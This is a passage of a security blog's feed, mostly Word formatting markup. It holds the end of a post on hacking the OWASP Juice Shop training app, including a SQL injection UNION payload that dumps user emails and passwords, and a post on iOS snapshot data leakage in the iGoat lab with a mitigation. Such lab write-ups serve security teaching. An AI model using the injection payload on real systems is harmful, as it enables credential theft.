  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;List Table 3 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;List Table 4 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;List Table 5 Dark Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;List Table 6 Colorful Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;List Table 7 Colorful Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Mention&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Smart Hyperlink&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Hashtag&quot;/&gt;
 &lt;/w:LatentStyles&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 10]&gt;
&lt;style&gt;
 /* Style Definitions */
 table.MsoNormalTable
 {mso-style-name:&quot;Table Normal&quot;;
 mso-tstyle-rowband-size:0;
 mso-tstyle-colband-size:0;
 mso-style-noshow:yes;
 mso-style-priority:99;
 mso-style-parent:&quot;&quot;;
 mso-padding-alt:0in 5.4pt 0in 5.4pt;
 mso-para-margin-top:0in;
 mso-para-margin-right:0in;
 mso-para-margin-bottom:10.0pt;
 mso-para-margin-left:0in;
 line-height:115%;
 mso-pagination:widow-orphan;
 font-size:11.0pt;
 font-family:&quot;Calibri&quot;,sans-serif;
 mso-ascii-font-family:Calibri;
 mso-ascii-theme-font:minor-latin;
 mso-hansi-font-family:Calibri;
 mso-hansi-theme-font:minor-latin;
 mso-bidi-font-family:&quot;Times New Roman&quot;;
 mso-bidi-theme-font:minor-bidi;}
&lt;/style&gt;
&lt;![endif]--&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHd7NyeAPy_iQ5dStadAzI3yrRKzGa3B1IRv8selmq8drKaj890_0blHJMZLf7IKZd4X08TU8dxZMi5HFNQJYUCCNqyoKFoX_9rO13eEWMIdd3HAoRxu-gqvgzdHjn8RtlZlLTY4tb/s1600/columns.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;202&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHd7NyeAPy_iQ5dStadAzI3yrRKzGa3B1IRv8selmq8drKaj890_0blHJMZLf7IKZd4X08TU8dxZMi5HFNQJYUCCNqyoKFoX_9rO13eEWMIdd3HAoRxu-gqvgzdHjn8RtlZlLTY4tb/s640/columns.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot; , sans-serif; font-size: 11pt; line-height: 115%;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot; , sans-serif; font-size: 11.0pt; line-height: 115%;&quot;&gt; &lt;/span&gt;&lt;br /&gt;
&lt;b&gt;Dumping Data from the Columns&lt;/b&gt;&lt;br /&gt;
Finally dump email and passwords&lt;b&gt; &lt;/b&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;test&#39;)) UNION SELECT 1,email,password,4,5,6,7,8 from users--&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjT_iW94vuwD1v6SJM_2ihW7Gi5uAosPsCYRdXB2tGbGTvoXATOdmNlJmgPmWQF0x-_saGxcV1xG8NQrRlNWFEPbALcFr56UF8RWlAJVJeEzN5giHRQXit8veETjr9A7ying9A-1Vfp/s1600/Data.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;152&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjT_iW94vuwD1v6SJM_2ihW7Gi5uAosPsCYRdXB2tGbGTvoXATOdmNlJmgPmWQF0x-_saGxcV1xG8NQrRlNWFEPbALcFr56UF8RWlAJVJeEzN5giHRQXit8veETjr9A7ying9A-1Vfp/s640/Data.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
You can learn more about the Juice Shop via the links below.. &lt;br /&gt;
&lt;a href=&quot;https://www.owasp.org/index.php/OWASP_Juice_Shop_Project&quot; target=&quot;_blank&quot;&gt;OWASP_Juice_Shop_Project &lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/bkimminich/juice-shop&quot; target=&quot;_blank&quot;&gt;Juice-Shop GitHub&lt;/a&gt;</description><link>http://thehackpot.blogspot.com/2017/03/pwning-owasp-juice-shop.html</link><author>noreply@blogger.com (Anonymous)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim7ccp83FBmkXKyexR6LGKGSTRGUEHcxsjEGGcaJr1h1QU24xYLfFVzy0-p0KJhJ5_rCDV0nZx_BLLhaBENOYrVW4Lh9kbwBGg1dVhHayzvrbJfNnPCxCCC69Pc3991tj9HkN9NqB6/s72-c/JuiceShop_Logo.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8805024510347536027.post-7077470393308680051</guid><pubDate>Wed, 12 Aug 2015 14:07:00 +0000</pubDate><atom:updated>2015-08-12T15:15:16.079+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">bWAPP</category><category domain="http://www.blogger.com/atom/ns#">iOS</category><title>Unintended Data Leakage - Application Backgrounding</title><description>&lt;h3&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif;&quot;&gt;Application Backgrounding iOS&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;o:OfficeDocumentSettings&gt;
  &lt;o:RelyOnVML/&gt;
  &lt;o:AllowPNG/&gt;
 &lt;/o:OfficeDocumentSettings&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;br /&gt;
&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:WordDocument&gt;
  &lt;w:View&gt;Normal&lt;/w:View&gt;
  &lt;w:Zoom&gt;0&lt;/w:Zoom&gt;
  &lt;w:TrackMoves/&gt;
  &lt;w:TrackFormatting/&gt;
  &lt;w:PunctuationKerning/&gt;
  &lt;w:ValidateAgainstSchemas/&gt;
  &lt;w:SaveIfXMLInvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;
  &lt;w:IgnoreMixedContent&gt;false&lt;/w:IgnoreMixedContent&gt;
  &lt;w:AlwaysShowPlaceholderText&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;
  &lt;w:DoNotPromoteQF/&gt;
  &lt;w:LidThemeOther&gt;EN-US&lt;/w:LidThemeOther&gt;
  &lt;w:LidThemeAsian&gt;JA&lt;/w:LidThemeAsian&gt;
  &lt;w:LidThemeComplexScript&gt;X-NONE&lt;/w:LidThemeComplexScript&gt;
  &lt;w:Compatibility&gt;
   &lt;w:BreakWrappedTables/&gt;
   &lt;w:SnapToGridInCell/&gt;
   &lt;w:WrapTextWithPunct/&gt;
   &lt;w:UseAsianBreakRules/&gt;
   &lt;w:DontGrowAutofit/&gt;
   &lt;w:SplitPgBreakAndParaMark/&gt;
   &lt;w:EnableOpenTypeKerning/&gt;
   &lt;w:DontFlipMirrorIndents/&gt;
   &lt;w:OverrideTableStyleHps/&gt;
  &lt;/w:Compatibility&gt;
  &lt;m:mathPr&gt;
   &lt;m:mathFont m:val=&quot;Cambria Math&quot;/&gt;
   &lt;m:brkBin m:val=&quot;before&quot;/&gt;
   &lt;m:brkBinSub m:val=&quot;&amp;#45;-&quot;/&gt;
   &lt;m:smallFrac m:val=&quot;off&quot;/&gt;
   &lt;m:dispDef/&gt;
   &lt;m:lMargin m:val=&quot;0&quot;/&gt;
   &lt;m:rMargin m:val=&quot;0&quot;/&gt;
   &lt;m:defJc m:val=&quot;centerGroup&quot;/&gt;
   &lt;m:wrapIndent m:val=&quot;1440&quot;/&gt;
   &lt;m:intLim m:val=&quot;subSup&quot;/&gt;
   &lt;m:naryLim m:val=&quot;undOvr&quot;/&gt;
  &lt;/m:mathPr&gt;&lt;/w:WordDocument&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;line-height: 115%;&quot;&gt;If an
application is open, it is possible that it can be sent in to the background by
a change in state, such as the user pressing the Home button or from an
incoming call.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;line-height: 115%;&quot;&gt;When an application is suspended in the background, iOS will
take a “snapshot” of the app and store it in the application caches directory.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;line-height: 115%;&quot;&gt;If any
sensitive information is open in the application when it enters the background,
the snapshot is written to the filesystem in clear text. This can then be accessed by a malicious user.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3 class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;line-height: 115%;&quot;&gt;iGoat Example&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;line-height: 115%;&quot;&gt;iGoat has an example of this type of vulnerability under Data Protection (Rest) &amp;gt; Backgrounding. Just click on Start to begin the exercise. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5fchJ0_ae5-vt0hVQVY0KlDkZiu8giLsxhPG3FhljPUTNElUPZDtoD0PwtrR55_9IfltgCEPn3sOAIJj_tBU-0anHnBaOcAxYFKyydi1HaE-1CJ6WBzQOLz_VuP64-XXZbQaYlyQf/s1600/background1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5fchJ0_ae5-vt0hVQVY0KlDkZiu8giLsxhPG3FhljPUTNElUPZDtoD0PwtrR55_9IfltgCEPn3sOAIJj_tBU-0anHnBaOcAxYFKyydi1HaE-1CJ6WBzQOLz_VuP64-XXZbQaYlyQf/s320/background1.jpg&quot; width=&quot;266&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Enter any answers in the security question text fields and tap on the home button on your device to take the application in the background. iOS will take a screenshot of the application before it goes in the background.&lt;/span&gt;&lt;/span&gt; &lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlSEeJJvqvI6eDxffuS-hpmeov2Z4l6kCiCYmlrF1HaWD4_uNeW9CMnBdxGNMoeT7KOC3Kn5Mbk6so3jgytDSkMHnVrx4BsIYCBPOY_lF7rVUVHIsFhzm-hhRUU2UITqsvUlHqQMus/s1600/Untitled.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlSEeJJvqvI6eDxffuS-hpmeov2Z4l6kCiCYmlrF1HaWD4_uNeW9CMnBdxGNMoeT7KOC3Kn5Mbk6so3jgytDSkMHnVrx4BsIYCBPOY_lF7rVUVHIsFhzm-hhRUU2UITqsvUlHqQMus/s320/Untitled.jpg&quot; width=&quot;259&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;If you navigate to the /Library/Caches/Snapshots/ folder you will find the snapshot containing the information you entered.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQhds6-ntSiYAfTeNtbqZJko_Vec_SxyUtfThXSC1TCdfK3lFPjv7Iev7FmIvfD7iOP_1hm98wy06ZBTWYQWD_6iQEVFHmnmYpU_BuH7hyphenhyphenAnSYBwpkfvJtl5tP0plyHNMjYUo_V40n/s1600/snapshot.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;217&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQhds6-ntSiYAfTeNtbqZJko_Vec_SxyUtfThXSC1TCdfK3lFPjv7Iev7FmIvfD7iOP_1hm98wy06ZBTWYQWD_6iQEVFHmnmYpU_BuH7hyphenhyphenAnSYBwpkfvJtl5tP0plyHNMjYUo_V40n/s320/snapshot.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;In order to prevent this kind of a vulnerability, these text fields can be set with the hidden attribute.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;Example&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;o:OfficeDocumentSettings&gt;
  &lt;o:RelyOnVML/&gt;
  &lt;o:AllowPNG/&gt;
 &lt;/o:OfficeDocumentSettings&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;/h3&gt;
&lt;h3 class=&quot;MsoNormal&quot;&gt;
&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:WordDocument&gt;
  &lt;w:View&gt;Normal&lt;/w:View&gt;
  &lt;w:Zoom&gt;0&lt;/w:Zoom&gt;
  &lt;w:TrackMoves/&gt;
  &lt;w:TrackFormatting/&gt;
  &lt;w:PunctuationKerning/&gt;
  &lt;w:ValidateAgainstSchemas/&gt;
  &lt;w:SaveIfXMLInvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;
  &lt;w:IgnoreMixedContent&gt;false&lt;/w:IgnoreMixedContent&gt;
  &lt;w:AlwaysShowPlaceholderText&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;
  &lt;w:DoNotPromoteQF/&gt;
  &lt;w:LidThemeOther&gt;EN-US&lt;/w:LidThemeOther&gt;
  &lt;w:LidThemeAsian&gt;JA&lt;/w:LidThemeAsian&gt;
  &lt;w:LidThemeComplexScript&gt;X-NONE&lt;/w:LidThemeComplexScript&gt;
  &lt;w:Compatibility&gt;
   &lt;w:BreakWrappedTables/&gt;
   &lt;w:SnapToGridInCell/&gt;
   &lt;w:WrapTextWithPunct/&gt;
   &lt;w:UseAsianBreakRules/&gt;
   &lt;w:DontGrowAutofit/&gt;
   &lt;w:SplitPgBreakAndParaMark/&gt;
   &lt;w:EnableOpenTypeKerning/&gt;
   &lt;w:DontFlipMirrorIndents/&gt;
   &lt;w:OverrideTableStyleHps/&gt;
  &lt;/w:Compatibility&gt;
  &lt;m:mathPr&gt;
   &lt;m:mathFont m:val=&quot;Cambria Math&quot;/&gt;
   &lt;m:brkBin m:val=&quot;before&quot;/&gt;
   &lt;m:brkBinSub m:val=&quot;&amp;#45;-&quot;/&gt;
   &lt;m:smallFrac m:val=&quot;off&quot;/&gt;
   &lt;m:dispDef/&gt;
   &lt;m:lMargin m:val=&quot;0&quot;/&gt;
   &lt;m:rMargin m:val=&quot;0&quot;/&gt;
   &lt;m:defJc m:val=&quot;centerGroup&quot;/&gt;
   &lt;m:wrapIndent m:val=&quot;1440&quot;/&gt;
   &lt;m:intLim m:val=&quot;subSup&quot;/&gt;
   &lt;m:naryLim m:val=&quot;undOvr&quot;/&gt;
  &lt;/m:mathPr&gt;&lt;/w:WordDocument&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:LatentStyles DefLockedState=&quot;false&quot; DefUnhideWhenUsed=&quot;false&quot;
  DefSemiHidden=&quot;false&quot; DefQFormat=&quot;false&quot; DefPriority=&quot;99&quot;
  LatentStyleCount=&quot;371&quot;&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;0&quot; QFormat=&quot;true&quot; Name=&quot;Normal&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;heading 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;heading 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;heading 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;heading 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;heading 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;heading 7&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;heading 8&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;heading 9&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;index 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;index 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;index 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;index 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;index 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;index 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;index 7&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;index 8&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;index 9&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;toc 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;toc 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;toc 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; Name=&quot;toc 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; Name=&quot;toc 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; Name=&quot;toc 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; Name=&quot;toc 7&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; Name=&quot;toc 8&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; Name=&quot;toc 9&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Normal Indent&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;footnote text&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;annotation text&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;header&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;footer&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;index heading&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;35&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;caption&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;table of figures&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;envelope address&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;envelope return&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;footnote reference&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;annotation reference&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;line number&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;page number&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;endnote reference&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;endnote text&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;table of authorities&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;macro&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;toa heading&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Bullet&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Number&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Bullet 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Bullet 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Bullet 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Bullet 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Number 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Number 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Number 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
